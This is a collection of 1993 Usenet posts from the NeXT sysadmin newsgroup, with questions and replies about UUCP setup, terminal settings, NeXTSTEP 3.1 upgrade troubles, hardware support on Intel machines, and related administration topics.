Newsgroups: comp.sys.next.sysadmin From: glen@netcom.com (Steven Kornreich) Subject: UUCP NS-FIP error Message-ID: <glenC9BICy.Ms8@netcom.com> Organization: NETCOM On-line Communication Services (408 241-9760 guest) Date: Mon, 28 Jun 1993 06:07:46 GMT I have been setting up uucp on my PC running NS-FIP and I can connect one or two times no problem, but then I get an error code " RAISE RDP exception 1 code 1 subcode c21 93bd0 waiting for RDP connection" Anyone have any ideas???
Newsgroups: comp.sys.next.sysadmin From: m@BlueRose.com (M Carling) Subject: Re: 3.1 user upgrade Message-ID: <1993Jun27.163043.2303@BlueRose.com> Sender: m@BlueRose.com Organization: Blue Rose Systems, Inc. References: <scott.740586911@shrug> Date: Sun, 27 Jun 1993 16:30:43 GMT In article <scott.740586911@shrug> S.A.McIntyre@durham.ac.uk (Scott A. McIntyre) writes: > > I'm dying to know: > > Has anyone on Black with 3.1 had the proliferation of <mach-tasks> > or are they really gone? It doesn't much matter. These are dead processes, which haven't been removed from the table. They use no resources. M Carling President, Bay Area NeXT Group
Newsgroups: comp.sys.next.sysadmin From: afm@vogon.mathi.uni-heidelberg.de (Andreas Mueller) Subject: Re: Nice fast modem is slow, Why? Message-ID: <1993Jun28.141424.11993@sun0.urz.uni-heidelberg.de> Sender: news@sun0.urz.uni-heidelberg.de (NetNews) Organization: Matlab, University of Heidelberg References: <1993Jun17.010021.270@frogware.com> <1993Jun26.232155.19552@ifi.unizh.ch> <1993Jun27.081443.13013@olorin.dark.sub.org> Date: Mon, 28 Jun 93 14:14:24 GMT In article <1993Jun27.081443.13013@olorin.dark.sub.org> thomas@olorin.dark.sub.org (Thomas Fischer) writes: >kluge@avalon.physik.unizh.ch (Daniel G. Kluge) wrote: >> >>Taylor UUCP: >>Anyone got it to work ?? > >Sure, the latest version compiles just great on a NeXT... Yes, but the f-Protocol may not deal correctly with parity, at least it didn't when I compiled it in may. (patch available on request, I don't have it here :-( ) > > Thomas > >-- >Good day for a change of scene. Repaper the bedroom wall. >--- > Thomas Fischer, thomas@olorin.dark.sub.org, +49 7191 23217 (fax & data) -- ------------------------------------------------------- Dr. Andreas Mueller afm@mathi.uni-heidelberg.de Mathematisches Institut Im Neuenheimer Feld 288
Newsgroups: comp.sys.next.sysadmin,comp.unix.shell From: uunet!sci34hub!tybrin4!trey (Trey McClendon) Subject: Terminal (ZSH) problem Message-ID: <1993Jun28.124414.12031@tybrin4.uucp> Sender: trey@tybrin4.uucp (Trey McClendon) Organization: TYBRIN Corporation Date: Mon, 28 Jun 1993 12:44:14 GMT I am running ZSH v2.2.0 on a NeXTstation with NS3.0. Since the modems are on another machine, I rlogin into it to use kermit. The problem is that kermit fouls up my terminal settings upon exiting. Here is a sample of what happens. From ZSH, 'stty everything' returns: new tty, speed 0 baud, 25 rows, 80 columns -raw -nl echo -lcase -tandem tabs -cbreak crtbs crterase crtkill ctlecho -prterase -tostop -eucbksp -flusho -mdmbuf -litout -pass8 -nohang -pass8out pendin decctlq -noflsh -extproc erase kill werase rprnt flush lnext susp intr quit stop eof ^? ^U ^W ^R ^O ^V ^Z/^Y ^C ^\ ^S/^Q ^D Now run kermit and promptly quit. 'stty everything' now returns: new tty, speed 0 baud, 25 rows, 80 columns -raw nl echo -lcase -tandem tabs -cbreak crtbs crterase crtkill ctlecho -prterase -tostop -eucbksp -flusho -mdmbuf -litout -pass8 -nohang -pass8out -pendin decctlq -noflsh -extproc erase kill werase rprnt flush lnext susp intr quit stop eof ^@ ^@ ^W ^R ^O ^V ^Z/^Y ^C ^\ ^S/^Q ^D Notice the 'nl', 'pendin', and the erase & kill characters are different. In addition, the tab settings get changed. The net effect of all this is that I get line feeds with no carriage return. A 'reset' at the command line fixes this but is annoying. Help? Trey tybrin4!trey@sci34hub.sci.com
Newsgroups: comp.sys.next.sysadmin From: irving@Happy-Man.com (Irving_Wolfe) Subject: 3.1 Black Troubles Message-ID: <1993Jun28.145847.11115@Happy-Man.com> Organization: Happy Man Corp, 4410 Pt Robinson, Vashon, WA 98070 206/463-9399 Date: Mon, 28 Jun 1993 14:58:47 GMT I have had nothing but trouble since installing 3.1 on one of our NextStations. Is this happening to others, or am I unlucky in that my particular setup or a botched upgrade is causing me unusual problems? Symptoms have included (not all at the same time): no more processes - unable to fork (Note that "ps ux" did not show anything unusual under me.) use of swapfile.front instead of swapfile even with 32MB of memory and a large disk. slowdown to the point of uselessness in Workspace Manager, making it difficult or impossible to even log out. inability to drag from the File Viewer miscellaneous messages: Jun 27 13:58:11 rosebud mach: NeXT Mach 3.1: Fri Apr 30 08:31:15 PDT 1993; root( rcbuilder):mk-149.22.3.obj~2/RC_m68k/RELEASE_Mo8K Jun 27 13:40:19 rosebud Locus[294]: Assertion failed: App Kit error: Error messaging drag service Jun 27 13:43:45 rosebud WM[293]: Assertion failed: -dragImage: cannot set up dragging operation Jun 27 16:21:37 rosebud WindowServer[171]: IPCFlushOutput: failed to flush output for stream 0x16d9d8. Anyone able to help or even able to clarify whether these experiences are usual under 3.1, please respond! Thanks, - Irving P.S.- I'm not aware of having anything terribly unusual in my configuration. The only "strange" apps I normally have running are Date, Stuart, and Locus, if that's a clue. -- Irving_Wolfe@Happy-Man.com 206/463-9399 x101 fax 206/463-9255 Happy Man Corp. 4410 SW Pt. Robinson Rd., Vashon, WA 98070-7399 We publish SOLID VALUE for the intelligent investor. NextMail OK Info. packet free. Send POSTAL address: Solid-Value@Happy-Man.com
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin From: thor@sushi.uib.no Subject: Printer compatibility (Black Hardware) list wanted Message-ID: <1993Jun28.170937.21811@alf.uib.no> Sender: usenet@alf.uib.no (Bergen University Newsaccount) Organization: University of Bergen, Norway Date: Mon, 28 Jun 93 17:09:37 GMT Yes, I've seen NeXTAnswers and the FAQ, but it doesn't have a single comprehensive list over printers which work with the NeXT. I have a cube and am looking for an inexpensive printer solution. I am considering among others, the DeskJet BW and colour models, IBM's 4019ELX, Canon inkjet printers, and others. I have no idea if any of these will work, and if they will what kind of extra programs I'll need before they do. Of the above, only the IBM is capeable of PostScript. If anyone could forward a list of compatible printers, bugs assocciated with same, and warnings/tips I would be grateful. Regards, -- Thor Legvold | "This is the strangest life NorNeXT User Group leader | I've ever known..." University of Bergen | -Jim Morrison, The Doors NORWAY | edmtl@edb.uib.no
Newsgroups: comp.sys.next.sysadmin,comp.unix.shell From: pws@s-a.amtp.liv.ac.uk (Peter Stephenson) Subject: Re: Terminal (ZSH) problem In-Reply-To: uunet!sci34hub!tybrin4!trey's message of Mon, 28 Jun 1993 12:44:14 GMT Message-ID: <PWS.93Jun28174348@suna.amtp.liv.ac.uk> Sender: news@liverpool.ac.uk (News System) Organization: DAMTP, University of Liverpool References: <1993Jun28.124414.12031@tybrin4.uucp> Date: Mon, 28 Jun 1993 16:43:47 GMT Trey McClendon writes: > I am running ZSH v2.2.0 on a NeXTstation with NS3.0. Since the modems > are on another machine, I rlogin into it to use kermit. The problem > is that kermit fouls up my terminal settings upon exiting. Here is > a sample of what happens. 2.2.0 is a bit of a historical artifact these days, but I'm pretty sure it had ttyctl. If you do ttyctl -f (in your .zshrc unless you have any particular objection) then zsh will restore the terminal settings after each command. I think ttyctl worked even back then. (This is what it it's supposed to be there for, anyway. You picked the right shell.) -- Peter Stephenson <pws@s-a.amtp.liv.ac.uk> or <PWS@UKACRL> (BITNET) Dept. of Applied Mathematics and Theoretical Physics University of Liverpool, P.O. Box 147, Liverpool, L69 3BX, U.K. Tel. +44 51 794 3784 (also fax) or 3791
From: neuss@igd.fhg.de (Christian Neuss ) Newsgroups: comp.sys.next.sysadmin Subject: Re: What does "scintr program error" mean? Date: 28 Jun 93 09:47:22 GMT Organization: IGD Message-ID: <neuss.741260842@ramazzotti> References: <20a435INNj3h@jhunix.hcf.jhu.edu> <1993Jun25.003152.4589@moksha.uucp> mgb@moksha.uucp (Michael Branton) writes: >In article <20a435INNj3h@jhunix.hcf.jhu.edu> robinc@jhunix.hcf.jhu.edu (Robert >Delucca) writes: [munch] >> When I booted, I got "scintr program error" at the very >> beginning of the boot sequence in the ROM monitor. Nothing >> else out of the ordinary. No console messages either. >> What does this mean? Inquiring mind wants to know. [munch] >> email robinc@jhunix.hcf.jhu.edu >I, too, have seen this error form time to time and would like to know its >etymology :-), so if you know, please post or reply to mgb@stetson.bitnet Post! Post post post.. I see this every boot, on all three NeXTstations I'm working on. I have never experienced any problems, but still I'd like to know what the heck this means.. Chris /* * Christian Neuss % neuss@igd.fhg.de % ..in the humdrum */
Message-ID: <~o$@byu.edu> Date: Mon, 28 Jun 93 13:49:40 MDT From: yackd@maine.et.byu.edu (Don Yacktman) Newsgroups: comp.sys.next.sysadmin Distribution: world References: <1993Jun28.145847.11115@Happy-Man.com> Organization: Brigham Young University, Provo UT USA Subject: Re: 3.1 Black Troubles In article <1993Jun28.145847.11115@Happy-Man.com>, irving@Happy-Man.com (Irving_Wolfe) writes: >I have had nothing but trouble since installing 3.1 on one of our >NextStations. Is this happening to others, or am I unlucky in that >my particular setup or a botched upgrade is causing me unusual >problems? There are some definite problems I've noticed... I'll comment on a few things I've seen at first glance. >Symptoms have included (not all at the same time): > >no more processes - unable to fork >(Note that "ps ux" did not show anything unusual under me.) Well, I noticed that when I ran NXBench and got the kernel info, the 3.1 kernel is configured for fewer processes and threads. Significantly less. This is bad, IMHO -- this number should be _more_, not less! Something like 20% less, I think... This doesn't bode well for folks who want to take advantage of threads, etc. Now you can really say goodbye to trying to do a C-Linda implementation... Of course, your problem may be something else entirely. >slowdown to the point of uselessness in Workspace Manager, making >it difficult or impossible to even log out. The release notes say to log out often or this will happen. If you didn't log out _immediately_ after the initial upgrade and again _immediately_ after language install, you'll get a real bad case of the slowpokes. So the solution is to not be logged in for very long at a time; of course once it gets slow, fat lot of good this advice does you... The other problems I haven't seen, but I did a re-format of my hard disk and a clean install since the upgrade process was rocky when I did the 2.1->3.0 upgrade, and I didn't feel like dealing with that this time... just in case. :-) Hope that someone finds that useful. It really bugs me that they _reduced_ the number of processes and threads available in the kernel. What is the logic behind this? I didn't see anything in any of the release notes/docs to suggest that they did this...it makes me feel like they tried to put something over on us; of course, I might have just missed the part that says this, if it exists... Later, Don_Yacktman@byu.edu
From: janthony@nextsrv1.andi.org (Jay Anthony) Newsgroups: comp.sys.next.sysadmin Subject: Re: 3.1 Black Troubles Date: 28 Jun 1993 15:59:33 -0500 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9306281849.AA01563@nextsrv1.andi.org> >I have had nothing but trouble since installing 3.1 on one of our >NextStations. Is this happening to others, or am I unlucky in that >my particular setup or a botched upgrade is causing me unusual >problems? > >Symptoms have included (not all at the same time): These symptoms which you mention: >slowdown to the point of uselessness in Workspace Manager, making >it difficult or impossible to even log out. > >inability to drag from the File Viewer > >Jun 27 13:40:19 rosebud Locus[294]: Assertion failed: App Kit error: >Error messaging drag service > >Jun 27 13:43:45 rosebud WM[293]: Assertion failed: -dragImage: >cannot set up dragging operation (note these are not everything you mention) result from "weirdness" with dragging (including the unbelievable slowdwon in the Workspace). I've been working on an app for a few weeks that makes heavy use of dragging and whenever there was a bug of some kind, things like this would happen. Try to trace down where you do a lot of dragging -- that will probably be the problem. Maybe an application which implements dragging didn't do it right, and by luck worked under 3.0, but not 3.1. 'Fraid that's the best help I can give you! :-( >Anyone able to help or even able to clarify whether these >experiences are usual under 3.1, please respond! I'm running 3.1 black now, but I believe this was happening under 3.0 black as well (when I had bugs). --Jay-- --- Jason W. Anthony NeXTmail: DigitalExpressions@andi.org Digital Expressions Inc. Voice/Fax: +1 518 346-0568
From: jordan@warped.pnl.gov (Randy Jordan) Newsgroups: comp.sys.next.sysadmin Subject: IBM Model 95's? Date: 28 Jun 1993 21:36:22 GMT Organization: Battelle, Pacific Northwest Laboratory Distribution: world Message-ID: <20no8m$s4v@oracle.pnl.gov> Keywords: IBM, Install, NSI -- Has anyone installed NSI on IBM 95's? The only 486 I can get to install NSI evaluation is a new IBM 95 with 1GB SCSI disk and eather 16MB or 32MB memory. I currently do not know what display device they were ordered with, but I suspect that only standard VGA was ordered. Does this mean I can only operate at 640/480 2 bit graphics? Help.... RJ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ To Thyne Own Self be true... myne opinions are. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From: penney@cl-next4.cl.msu.edu (Chris Penney) Newsgroups: comp.sys.next.sysadmin Subject: Re: 3.1 user upgrade Date: 28 Jun 1993 23:34:43 GMT Organization: Michigan State University Message-ID: <20nv6j$ggo@msuinfo.cl.msu.edu> References: <scott.740586911@shrug> <1993Jun27.163043.2303@BlueRose.com> M Carling (m@BlueRose.com) wrote: : In article <scott.740586911@shrug> S.A.McIntyre@durham.ac.uk (Scott A. : McIntyre) writes: : > : > I'm dying to know: : > : > Has anyone on Black with 3.1 had the proliferation of <mach-tasks> : > or are they really gone? : : It doesn't much matter. These are dead processes, which haven't been : removed from the table. They use no resources. : : M Carling : President, Bay Area NeXT Group Yeah, no resources, but if you get enough of them the process table fills up and your machine will die the next time it tries to create a new process. I sure hope it is fixed, they have reduced the max number of processes and threads by 20% in 3.1 (so someone said n this same group). -=Chris=- -- ==== ==== = Christopher C. Penney E-mail: penney@convex.msu.edu = = Computer Consultant Office: 110 Computer Center = = ACM Vice Chairman Michigan State University = = CASE Center Advisory Council Member East Lansing, Michingan = ==== ====
Newsgroups: comp.sys.next.sysadmin From: nico@imani.cam.org (Nicolas Dore) Subject: Re: 3.1 user upgrade Message-ID: <1993Jun28.210128.925@imani.cam.org> Sender: nico@imani.cam.org References: <1993Jun27.163043.2303@BlueRose.com> Date: Mon, 28 Jun 1993 21:01:28 GMT In article <1993Jun27.163043.2303@BlueRose.com> m@BlueRose.com (M Carling) writes: > In article <scott.740586911@shrug> S.A.McIntyre@durham.ac.uk (Scott A. > McIntyre) writes: > > > > I'm dying to know: > > > > Has anyone on Black with 3.1 had the proliferation of <mach-tasks> > > or are they really gone? > > It doesn't much matter. These are dead processes, which haven't been > removed from the table. They use no resources. Yeah, but don't they the swapfile from shrinking? (i.e. it only shrinks as the "latest" processes are terminated, from the top) Ciao Nicolas Dore > M Carling > President, Bay Area NeXT Group -- Nicolas Dore nico@imani.cam.org - - - - - - - - - CAREFUL! POLITICAL COMMENT ZONE!! - - - - - - - - - > "If I can't dance, I don't want to be in your revolution!" < > Emma Goldman (to Vladimir Ilitch Oulianov [Lenin], 1917) <
From: cadence@unixg.ubc.ca Newsgroups: comp.sys.next.sysadmin Subject: command line faxing Date: 29 Jun 1993 00:07:07 GMT Organization: The University of British Columbia Message-ID: <20o13bINN5od@iskut.ucs.ubc.ca> Does anyone know if it is possible to fax a text file from the unix shell? Thanks John McMahon
Newsgroups: comp.sys.next.sysadmin From: lloyd@world.std.com (Chris Lloyd) Subject: Re: 3.1 user upgrade Message-ID: <C9Cz6n.GHs@world.std.com> Organization: The World Public Access UNIX, Brookline, MA References: <scott.740586911@shrug> <1993Jun27.163043.2303@BlueRose.com> <20nv6j$ggo@msuinfo.cl.msu.edu> Date: Tue, 29 Jun 1993 01:08:47 GMT In article <20nv6j$ggo@msuinfo.cl.msu.edu> penney@cl-next4.cl.msu.edu (Chris Penney) writes: >M Carling (m@BlueRose.com) wrote: >: In article <scott.740586911@shrug> S.A.McIntyre@durham.ac.uk (Scott A. >: McIntyre) writes: >: > Has anyone on Black with 3.1 had the proliferation of <mach-tasks> >: > or are they really gone? >: >: It doesn't much matter. These are dead processes, which haven't been >: removed from the table. They use no resources. > >Yeah, no resources, but if you get enough of them the process table fills >up and your machine will die the next time it tries to create a new >process. I sure hope it is fixed, they have reduced the max number of >processes and threads by 20% in 3.1 (so someone said n this same group). Not all of them are dead processes. In the bugless(?) NS's, most of the <mach-task>'s are kernel tasks, typically a driver. Loadable Kernel Servers show up as <mach-task>s as well as things like the sound driver. My 2.1 system has 5 and always has five, one is the sound driver, another is a LKS I wrote, a notify server, and others. They aren't full blown processes, but require a private port set and a thread, so they are just simple tasks. I expect NS/FIP to have a lot more of them, as most/all of the drivers are done as loadable kernel servers, each generating a <mach-task>... shrug, -- :: Christopher Lloyd :: Yrrid Incorporated :: lloyd@world.std.com ::
From: sagar@halcyon.com (Arun Sagar) Newsgroups: comp.sys.next.sysadmin Subject: UUCP help needed for NS/IP Date: 28 Jun 1993 18:14:49 -0700 Organization: "A World of Information at your Fingertips" Sender: news@nwfocus.wa.com Distribution: world Message-ID: <20o529$3un@nwfocus.wa.com> Hello everyone- I am trying to learn how to setup a UUCP machine but am running into some difficulty with my brand new NS/IP3.1. My system is a Gatway2000 w/ local bus video and a 1.2G HD hooked up to a barely Hayes compatible modem. I tried to setup my system as the example in the online documentation says I should (NeXT System Administration, Chapter 12). However, when I invoke uupoll, nothing happens (no modem activity). /usr/spool/uucp/LOGFILE shows that opening /dev/cub failed (I am using cub instead of cua because I have a serial mouse hooked to com1). I ran uucico with debug level 9 and it reported error 13 when it tried to open cub. 13 is [EACCESS] in sys/errno.h. So, I tried 'chown uucp.daemon /dev/cub) and I was greeted by the kernel monitor when I tried uupoll. I had to reboot. tip works fine with /etc/cub when I configure /etc/remote to recognize it. It could be my modem, but I don't know for sure. Any help/suggestion would be higly appreciated. Thanks. -sagar@halcyon.com
Newsgroups: comp.sys.next.marketplace,comp.sys.next.sysadmin From: ruck@pdh.com (John R. Ruckstuhl Jr.) Subject: Dell ships NS/486? Message-ID: <C9Csrz.Ctx@pdh.com> Organization: PDH, Inc. Date: Mon, 28 Jun 1993 22:50:22 GMT Recently, someone (Bill Vermillion?) wrote that Dell will ship NeXTStep pre-installed on 486. I have a copy of a Dell/NeXT press release dated 15 April which announces that intention... But I called Dell (1-800-BUY-DELL) and a salesperson said it isn't shipping. Does anyone know when it will be shipping, and if it already is, can you give me a contact point? Thanks. Best regards, ruck
Newsgroups: comp.sys.next.marketplace,comp.sys.next.sysadmin From: francisr@stupid.ucs.indiana.edu (Rob Francis) Subject: Re: Dell ships NS/486? Message-ID: <C9D7n5.L30@usenet.ucs.indiana.edu> Sender: news@usenet.ucs.indiana.edu (USENET News System) Organization: University Computing Services References: <C9Csrz.Ctx@pdh.com> Date: Tue, 29 Jun 1993 04:11:28 GMT In article <C9Csrz.Ctx@pdh.com> ruck@pdh.com (John R. Ruckstuhl Jr.) writes: >Recently, someone (Bill Vermillion?) wrote that Dell will ship NeXTStep >pre-installed on 486. I have a copy of a Dell/NeXT press release dated >15 April which announces that intention... > >But I called Dell (1-800-BUY-DELL) and a salesperson said it isn't >shipping. > >Does anyone know when it will be shipping, and if it already is, can you >give me a contact point? > When I called Dell (same number you used), they were very confused. I was able to get the number of a local sales rep who called me back and put me on a mailing list for when it is actually happening. Out of all the places I called, I had best luck with Data General. Their people had even heard of NextStep. They sent me some info on the configurations. The place that was most in the dark about it was Hewlett-Packard. )-: They're people (front line phones) didn't know what NextStep was. I was to say the least, depressed... -rob --- Rob Francis Unix Systems Specialist, Indiana University francisr@indiana.edu (812)855-0327
From: gary@ah3.cal.msu.edu (Gary J LaPointe) Newsgroups: comp.sys.next.sysadmin Subject: SPELL problem on my NeXT Date: 29 Jun 1993 05:07:08 GMT Organization: Michigan State University Message-ID: <20oils$nqv@msuinfo.cl.msu.edu> My SPELL command on my NeXT does NOT work on my machine (2.1 I think). It used to work (at least I'm pertty sure it did). It works on the other 4 NeXTs I work with. If I SU it works fine. I FTP'd all the files listed in the MAN page from one of the working machines and it didn't help. ANY suggestions? Thanks, Gary -- Gary J LaPointe gary@ah3.cal.msu.edu Michigan State University Center For Integrative Studies, Arts & Humanities "Life would be a whole lot easier if the things we really wanted were the things we were willing to ask for."
From: gary@ah3.cal.msu.edu (Gary J LaPointe) Newsgroups: comp.sys.next.sysadmin Subject: cmsg cancel <20oils$nqv@msuinfo.cl.msu.edu> Control: cancel <20oils$nqv@msuinfo.cl.msu.edu> Date: 29 Jun 1993 05:59:48 GMT Organization: Michigan State University Message-ID: <20olok$mp3@msuinfo.cl.msu.edu> Article cancelled from within tin [v1.2 PL0]
Newsgroups: comp.sys.next.sysadmin From: eps@futon.SFSU.EDU (Eric P. Scott) Subject: Re: How to disable reset and power in login panel Message-ID: <1993Jun29.104125.8412@csus.edu> Sender: news@csus.edu Organization: San Francisco State University References: <1993Jun25.043631.2488@znext.cts.com> Date: Tue, 29 Jun 1993 10:41:25 GMT In article <1993Jun25.043631.2488@znext.cts.com> zeke@znext.cts.com (james dehnert) writes: > Is there a way do disable the power and reset buttons on the main login >pannel. I would rather not give that option to anyone sitting at the console. They have that anyway. My objection is the "attractive nuisance" those buttons present. (Watch this get fixed "real fast" once Reid Paul Jobs is old enough to murder daddy's computer without even touching the keyboard.) In case you didn't know (hey, it's not in the Release Notes), loginwindow in 3.1 recognizes some additional "fake" user names along with the "console" and "exit" you're already familiar with: power reboot rebootdos <- especially fun on Black Hardware :-) rebootnext Unlike the buttons, these do not require confirmation before proceeding. Note that # dwrite loginwindow PowerOffDisabled YES will disarm (but not remove) the buttons, and render power/reboot* mostly harmless. Workspace>Log Out will still bring up a panel offering a Power Off button--but it's then no worse than clicking Log Out (or pressing Return). I'd say NeXT really didn't think this out well. -=EPS=-
From: cahalan@clouds.gsfc.nasa.gov (Robert F. Cahalan) Newsgroups: comp.sys.next.sysadmin Subject: Re: command line faxing Date: 29 Jun 1993 13:05:24 GMT Organization: NASA Goddard Space Flight Center -- InterNetNews site Distribution: world Message-ID: <20peml$2ch@skates.gsfc.nasa.gov> References: <20o13bINN5od@iskut.ucs.ubc.ca> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit In article <20o13bINN5od@iskut.ucs.ubc.ca> cadence@unixg.ubc.ca writes: > Does anyone know if it is possible to fax a text file from the unix shell? > > Thanks > John McMahon That's something that's been asked for again and again. It ought to be part of the standard user distribution from NeXT. We've hacked a way to do it under 2.1 and 3.0, but I don't know if it works under 3.1 because the lines you need to add to the postscript sent to lpr haven't been documented. Let me know if you want to try using an unofficial hack, and I'll send you a copy. -- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .Dr. Robert F. Cahalan (Bob)...#..Laboratory for Atmospheres...... .cahalan@clouds.gsfc.nasa.gov..#..NASA-Goddard Space Flight Center .*** NeXTMail accepted ***.....#..Greenbelt, MD 20771............. .FAX: (301) 286-1627...........#..voice: (301) 286-4276........... ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Newsgroups: comp.sys.next.sysadmin From: luis@elysia.fdn.org (Luis Arias) Subject: How to send mail to folks on APPLELINK from the Internet ? Message-ID: <1993Jun28.155833.11597@elysia.fdn.org> Keywords: apple applelink mail Sender: luis@elysia.fdn.org Organization: Elysia - Rueil_Malmaison, France. Distribution: world comp.sys.next.misc Date: Mon, 28 Jun 1993 15:58:33 GMT Hi, Does anyone know how to send mail to an applelink address ? Thanks. --- Luis Arias President Elysia, Inc. 23, rue Buffon 92500 RUEIL-MALMAISON FRANCE [33] (1) 47 49 61 96 [33] (1) 47 14 99 08 fax luis@elysia.fdn.org (NeXTmail ok) -- Luis Arias President Elysia, Inc. 23, rue Buffon
Newsgroups: comp.sys.next.sysadmin From: shawng@idcube.idsoftware.com (Shawn Green) Subject: Re: Dell ships NS/486? Message-ID: <1993Jun29.140707.6864@nntpxfer.psi.com> Sender: news@nntpxfer.psi.com Organization: Performance Systems Int'l References: <C9Csrz.Ctx@pdh.com> Date: Tue, 29 Jun 1993 14:07:07 GMT In article <C9Csrz.Ctx@pdh.com> ruck@pdh.com (John R. Ruckstuhl Jr.) writes: |> Recently, someone (Bill Vermillion?) wrote that Dell will ship NeXTStep |> pre-installed on 486. I have a copy of a Dell/NeXT press release dated |> 15 April which announces that intention... |> |> But I called Dell (1-800-BUY-DELL) and a salesperson said it isn't |> shipping. |> |> Does anyone know when it will be shipping, and if it already is, can you |> give me a contact point? |> |> Thanks. |> Best regards, |> ruck We couldn't wait until DELL was ready to ship NSFI installed so we bought one of the recommended DELL systems and then installed it our selves. If you want info on specific setups from NeXT, you can send mail to nextanswers@next.com and send HELP as the subject to get a list of available docs. We were told about four weeks before NSFI installed on a DELL system would be shipping. About two more weeks to go. If you do decide to install it yourself, get a SCSI system. The IDE/SCSI mix gave me hell. Also, get one of the recommended SCSI cards listed in the DELL docs from nextanswers@next.com. -- -Shawn Green (shawn@idsoftware.com) Id Software Send questions about Id software to help@idsoftware.com (NeXTmail OK). ftp.uwp.edu[131.210.1.4] Id "Official" anonymous FTP site /pub/msdos/games/id Id games
Newsgroups: comp.sys.next.sysadmin From: alvogel@rodan.acs.syr.EDU (Andrew L. Vogel) Subject: UUCP problem Message-ID: <1993Jun29.122547.8820@newstand.syr.edu> Organization: Syracuse University, Syracuse, NY References: <C9Csrz.Ctx@pdh.com> <1993Jun29.140707.6864@nntpxfer.psi.com> Date: Tue, 29 Jun 93 12:25:47 EDT I'm setting up a uucp connection between two Nextstations. Running uucico in debug mode I get the following root math (7/28-12:00-243) SUCCEEDED (call to math ) imsg looking for SYNC< \20> imsg input<Shere=math\0>got 10 characters omsg <Sizebug -Q0 -x6> imsg looking for SYNC< \20> imsg input<ROK\0>got 3 characters msg-ROK Rmtname math, Role MASTER, Ifn - 5, Loginuser - root rmesg - 'P' imsg looking for SYNC<\20> imsg input<Ptfg\0>got 4 characters got Ptfg wmesg 'U' g omsg <Ug> tries = 10 root math (7/28-12:03-243) FAILED (startup) So, the two uucicos agree on the g protocol but then fail to talk? Any ideas what I should do?
Newsgroups: comp.sys.next.sysadmin From: monheit@decatur.stanford.edu (Mark Monheit) Subject: pcnfsd under NS/FIP Message-ID: <MONHEIT.93Jun29103342@decatur.stanford.edu> Sender: news@leland.Stanford.EDU (Mr News) Organization: Psychology Department, Stanford U. Date: 29 Jun 93 10:33:42 Does anyone know whether pcnfsd will compile and run under NS/FIP? Is PC/NFS the best (a good) way to use a NS machine as a server for DOS machines? I seem to recall some recent discussion but, as usual, I wasn't paying attention until I realized a need a couple days ago. Thanks. Mark monheit@psych.stanford.edu
Newsgroups: comp.sys.next.sysadmin From: icf@rchland.vnet.ibm.com (Ira Frosch) Subject: Re: IBM Model 95's? Sender: news@rchland.ibm.com Message-ID: <1993Jun29.173913.41632@rchland.ibm.com> Date: Tue, 29 Jun 1993 17:39:13 GMT Disclaimer: This posting represents the poster's views, not necessarily those of IBM References: <20no8m$s4v@oracle.pnl.gov> Organization: IBM Rochester Keywords: IBM, Install, NSI In article <20no8m$s4v@oracle.pnl.gov>, jordan@warped.pnl.gov (Randy Jordan) writes: |> |> -- |> |> Has anyone installed NSI on IBM 95's? |> |> The only 486 I can get to install NSI evaluation is |> a new IBM 95 with 1GB SCSI disk and eather 16MB or 32MB |> memory. I currently do not know what display device they |> were ordered with, but I suspect that only standard VGA |> was ordered. Does this mean I can only operate at 640/480 |> 2 bit graphics? |> |> Help.... |> |> RJ |> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ |> To Thyne Own Self be true... |> myne opinions are. |> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ |> Sorry, Mod 95's are Microchannel...NeXT does not/will not support Microchannel machines, only the new PS/Valuepoints.... Ira
Newsgroups: comp.sys.next.sysadmin From: dlewis@fnma.com Subject: Re: How to send mail to folks on APPLELINK from the Internet ? Message-ID: <1993Jun29.182315.20827@almserv.uucp> Sender: usenet@almserv.uucp Organization: Fannie Mae References: <1993Jun28.155833.11597@elysia.fdn.org> Distribution: world comp.sys.next.misc Date: Tue, 29 Jun 1993 18:23:15 GMT In article <1993Jun28.155833.11597@elysia.fdn.org> luis@elysia.fdn.org (Luis Arias) writes: > Hi, > > Does anyone know how to send mail to an applelink address ? > > Thanks. Try [applelinkacctname]@applelink.com ??? DL -- David Lewis Senior Software Engineer On contract to: Federal National Mortgage Association (Fannie Mae) dlewis@fnma.com (NeXTmail OK), 202-752-4785
Newsgroups: comp.sys.next.sysadmin From: fblau@well.sf.ca.us (Frank Blau) Subject: CD-ROM Jukebox for NeXT Message-ID: <C9EC2s.Gox@well.sf.ca.us> Sender: news@well.sf.ca.us Organization: The Whole Earth 'Lectronic Link, Sausalito, CA Date: Tue, 29 Jun 1993 18:44:51 GMT Does anyone know of a CD-ROM jukebox that allows users on a net to access CD-ROMS from a NeXT workstation? Thanks -- *********************************************** Frank Blau Preferred Health Care
